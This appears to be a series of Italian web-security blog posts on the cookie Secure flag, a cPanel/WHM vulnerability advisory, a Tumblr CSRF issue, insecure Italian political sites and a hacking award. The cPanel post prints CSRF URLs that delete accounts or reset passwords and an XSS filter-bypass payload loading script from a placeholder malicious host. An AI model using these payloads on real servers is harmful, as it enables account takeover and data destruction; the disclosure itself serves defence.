I cookie sono una parte fondamentale del protocollo HTTP, essendo esso state-less, è necessario memorizzare le informazioni della sessione sull’applicazione Web direttamente nel Web Browser.

Questa piccola premessa (consiglio un approfondimento tramite la voce cookie su Wikipedia) per arrivare a dire: su HTTP i cookie possono essere intercettati e usati da un attaccante.  Credo che molti diranno: “Niente di nuovo sulla piazza”.
In soccorso a questo problema è nato il protocollo HTTPS che incapsula HTTP in una connessione cifrata con il Web Server di destinazione. In questo modo un attacco MITM diventa più complesso o per lo meno più macchinoso.
Sarebbero tutte rose e fiori se gli sviluppatori avessero recepito l’uso del flag “Secure” dell’header Cookie di HTTP. Questo flag impone al Web Browser di inviare il cookie solamente in presenza di un canale sicuro, interpretato durante l’implementazione nei Web Browser della RFC 2965 come l’HTTPS.

Il paper “Surf Jack - HTTPS will not save you” ha fatto notare una cosa molto importante: è inutile utilizzare le connessioni HTTPS quando i cookie non hanno il flag “Secure” attivo. Il perchè lo si può capire dallo screencast che segue:

Il cookie di sessione, non avendo attivo il flag “Secure”, viene inviato al Web Server anche su connessioni in chiaro. In questo modo un ataccante che si trova in condizioni di fare hijacking (tramite una qualsiasi tecnica) sarà in grado di dirottare (con un HTTP Redirect) la vittima in HTTP, in modo che il browser invii i cookie, del dominio target, in chiaro.

Il problema è più diffuso di quanto sembra, non credo che fino ad ora ne fosse stato considerato correttamente l’impatto. Ad esempio Google ha introdotto solo recentemente una funzione in Gmail che permette di utilizzare la Webmail solo tramite HTTPS inserendo il flag “Secure” sui cookie che contengono l’id della sessione.

cPanel è una applicazione Web proprietaria per l’automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del proprio spazio. La seconda è utilizzata dall’amministratore e da eventuali rivenditori per la gestione dell’intera macchina e degli account dei clienti.

Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l’applicazione è installata e utilizza autentication basic per l’accesso. Un accesso privilegiato su WHM permette il controllo a livello root della macchina. Ovvero le funzioni richiamabili da Web sono critiche per l’integrità del server.

Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (Cross-site Request Forgery). L’attaccante, conoscendo la porta e il dominio dove la vittima (l’utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag “<img>”, simile a questa https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&user=victim
Non credo serva dell’immaginazione per capire cosa succederà.
cPanel ha introltre sviluppato delle API in formato XML per semplificare l’integrazione delle funzioni di amministrazione di WHM in software di terze parti. Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo https://host_of_cpanel:2087/xml-api/passwd?user=victim&pass=0wnedpasswd permette di modificare la password di un qualsiasi utente presente sul server.

Le funzioni di WHM soffrono anche di problemi nell’input-validation nel caso specifico XSS (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri “pericolosi” per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag <script> è possibile bypassare il filtro:
>><<<<<<<<<<<<script src=”http://malicious.site/code.js” a=>>>>>>>><

Non vedo limiti di utilizzo di questa vulnerabilità; l’unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.

Come spiegato anche nell’advisory originale, nelle versioni 11.18.4+ e 11.22.3+ le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, come spiegato nel post sul blog di cPanel, la funzione “anti-XSRF attacks” va abilitata a mano all’interno di “Tweak Settings”.

Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell’advisory su Tumblr, i referer HTTP non sono da utilizzare per funzioni anti-CSRF.

Maggiori riferimenti possono essere trovati su Secunia Advisory ID 30166 e come CVE-2008-2070 e CVE-2008-2071.
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su Secunia ID 30027.

Probabilmente molti avranno già letto l’alrticolo, Così nasce un worm internet pubblicato ieri  su Punto Informatico.
Eviterò quindi di fare una introduzione all’argomento passando invece subito alla parte più tecnica che non ha potuto trovare spazio su PI.

Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene ospitato su sottodomini di tumblr.com (site:*.tumblr.com Risultati 125.000) oppure su un dominio proprio configurato per l’occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.

Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l’header Referer.
E’ stato proprio quest’ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da “www.tumblr.com/new/” oppure se il Referer era completamente vuoto.
Il Referer è un header di user-input ovvero viene inviato dal browser al server. E’ possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell’invio di richieste POST o GET.
(Continua…)

photo credit: ƒreg

E’ un momento assai tragicomico per il panorama politico su Web.
Non più di dieci giorni fa Roberto Scaccia segnalò una vulnerabilità sul sito del PD che ha dato il via ad una serie di segnalazioni a tutto campo. Punto Informatico, rifacendosi ad una pubblicazione di Matteo Flora, ha intitolato un articolo “Elezioni, siti Web a rischio?“. Lo stesso Flora ha rincarato la dose con un articolo dal titolo “La politica dell’ignoranza” da dove riporto:

Questi episodi ricordano come l’Italia, sotto questo versante, abbia ancora molto da imparare. Credo che sia assolutamente necessario iniziare a chiedere la qualità.

La lista dei siti Web politici è già lunga, ma sono sicuro che si potrebbe allungare ancora.
Continuare lo sproloquio di domini vulnerabili ha poco senso. Avrebbe senso, forse, segnalare le vulnerabilità attive ai proprietari e ai realizzatori, ma con quale speranza? Forse quella che, nella migliore della ipotesi, non si veda mai risposta.

Non è la fama che cerco, ma una maggiore consapevolezza nelle tecnologie utilizzate, altrimenti che senso ha utilizzarle come propaganda?

Non mi sembra che evitare XSS e SQL Injection (lasciando perdere le altre vulnerabilità meno di moda) sia così complesso. Ma si sa, in Italia, si corre ai ripari solo dopo che si finisce sui canali main-stream; “Striscia la Notizia” in primis. Che tristezza.

Internet è una massa critica, diversa da quella dei media tradizionali, ciò ne richiede un utilizzo consapevole e sincero. Proprio in questi ultimi giorni si è creata una intensa discussione e una lettera aperta dopo una intervista della Dott.sa. Graziottin a Porta a Porta.

Permettetemi un “plis visit de uebsait end plis pech ioars uebsait“.

Top Ten Web Hacks of 2007, la classifica degli “hacks” più interessanti, nel campo della Web Application Security, presentati durante l’anno passato.

Vedere il mio lavoro “nascondere codice JavaScript all’interno di immagini” nella lista delle 80 tecniche più importanti è stata una bella soddisfazione.
La soddisfazione maggiore è arrivata la settimana scorsa quando si sono concluse le votazioni del sondaggio: il mio lavoro è rientrato tra i primi 10!

Vedersi vicino a nomi come Stefano di Paola, RSnake, pdp e Jeremiah Grossman è  per me una soddisfazione sopratutto dopo essermi avvicinato alla WebAppSec per curiosità.

Grazie a tutti quelli che hanno votato!

Un periodo felice per la nostra penisola nella security! A tal proposito avete visto il port di TrueCrypt su MacOSX fatto grazie all’impegno di Bassotto, Flora, Pietrosanti e tutti i sostenitori?!